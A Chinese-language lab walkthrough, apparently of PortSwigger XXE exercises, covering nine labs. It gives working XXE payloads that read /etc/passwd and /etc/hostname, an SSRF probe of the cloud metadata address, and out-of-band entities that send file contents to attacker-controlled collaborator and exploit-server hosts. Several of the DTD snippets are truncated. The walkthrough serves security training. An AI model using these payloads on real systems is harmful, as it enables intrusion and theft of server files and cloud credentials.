1. Exploiting XXE using external entities to retrieve files
使用外部实体利用 XXE 来检索文件
检查库存功能用 burp 截断数据包,然后松手在 HTTP History 中查看请求,转到 Repeater。
往下看,当看到 XML 的时候,应该考虑 XXE 注入。接下来就是找到注入点,具体位置有两个,一个是 productId,另一个是 storeId。
在 XML 声明和元素 stockCheck 之间插入外部实体定义。
1 | <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> |
%20%E6%B3%A8%E5%85%A5/202410062047045.png)
2. Exploiting XXE to perform SSRF attacks
利用 XXE 执行 SSRF 攻击
依旧是抓包检查库存功能,会发现有一个包含 XML 的帖子请求。
声明一个外部实体,不再引用本地文件而是查看是否可以发送到 IP 地址169.254.169.254
Send 发送请求,从响应中得到目录,连续往下遍历目录,最后获得敏感信息。
%20%E6%B3%A8%E5%85%A5/202410062047015.png)
%20%E6%B3%A8%E5%85%A5/202410062047948.png)
%20%E6%B3%A8%E5%85%A5/202410062047357.png)
%20%E6%B3%A8%E5%85%A5/202410062047584.png)
%20%E6%B3%A8%E5%85%A5/202410062047071.png)
%20%E6%B3%A8%E5%85%A5/202410062047469.png)
3. Blind XXE with out-of-band interaction
带外交互的盲 XXE
访问产品页面,单击“检查库存”并在 Burp 中拦截请求。
定义外部实体,插入 Burp 的协作子域名。转到“子域名”选项卡,然后单击“Poll now”。 可以看到 DNS 和 HTTP 交互。它的作用是,确认我们可以让应用程序与攻击者控制的对话服务器,为带外渗透做好准备
1 | <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://1hj71n3ymgjdmmtrt6ye3mqcf3lt9i.oastify.com"> ]> |
%20%E6%B3%A8%E5%85%A5/202410062048351.png)
%20%E6%B3%A8%E5%85%A5/202410062048724.png)
4. Blind XXE with out-of-band interaction via XML parameter entities
通过 XML 参数实体进行带外交互的盲 XXE
外带交互的盲 XXE 是通过利用 XML 解析器向==外部服务器(burp 子域)==发送数据,使得攻击者可以==通过外部服务器与目标系统进行交互==。
1 | <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://1hj71n3ymgjdmmtrt6ye3mqcf3lt9i.oastify.com"> %xxe; ]> |
Quote / 参考
盲XXE(Blind XXE),它可以在没有直接访问应用程序响应的情况下,仍能从应用程序中获取敏感信息。
%20%E6%B3%A8%E5%85%A5/202410062048500.png)
5. Exploiting blind XXE to exfiltrate data using a malicious external DTD
利用盲 XXE 使用恶意外部 DTD 泄露数据
1 | <!ENTITY % file SYSTEM "file:///etc/hostname"> |
将 DTD 文件保存在服务器上,单击“查看漏洞”并记下 URL;用 burp 截断检查库存的请求,定义外部实体
最后返回 Burp Collaborator client,会看到一些 DNS 和 HTTP 交互,特别关注 HTTP 交互,可能包含文件的内容。/etc/hostname
1 | <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a57006c0302b2d5c0e221d8013c0082.exploit-server.net/exploit"> %xxe;]> |
%20%E6%B3%A8%E5%85%A5/202410062048966.png)
%20%E6%B3%A8%E5%85%A5/202410062048972.png)
%20%E6%B3%A8%E5%85%A5/202410062048712.png)
6. Exploiting blind XXE to retrieve data via error messages
利用盲 XXE 通过错误消息检索数据
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
将 DTD 文件保存在服务器上,单击“查看漏洞”并记下 URL;用 burp 截断检查库存的请求,定义外部实体,会看到一条包含文件内容错误消息
1 | <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a42007304c1c092c003856801a900e4.exploit-server.net/exploit"> %xxe;]> |
%20%E6%B3%A8%E5%85%A5/202410062048145.png)
7. Exploiting XInclude to retrieve files
利用 XInclude 检索文件
抓包检查库存功能,修改 productId 的值
1 | <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> |
%20%E6%B3%A8%E5%85%A5/202410062051903.png)
8. Exploiting XXE via image file upload
通过图像文件上传利用XXE
下载一个SVG 文件(注意不要太大),上传 SVG 文件,发表评论的时候抓包,修改 SVG 文件的内容
Expand / 拓展
SVG 文件是由 XML 构成的,因此可以使用 XML 的各种功能来嵌入数据或 payload 到 SVG 图像中。由于 SVG 图像可以包含文本、图形和脚本等元素,因此可以使用这些元素来嵌入payload
1 | <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> |
%20%E6%B3%A8%E5%85%A5/202410062048430.png)
%20%E6%B3%A8%E5%85%A5/202410062048405.png)
9. Exploiting XXE to retrieve data by repurposing a local DTD
利用 XXE 通过重新调整本地 DTD 的用途来检索数据
抓包检查库存功能
1 | <!DOCTYPE message [ |
%20%E6%B3%A8%E5%85%A5/202410062048267.png)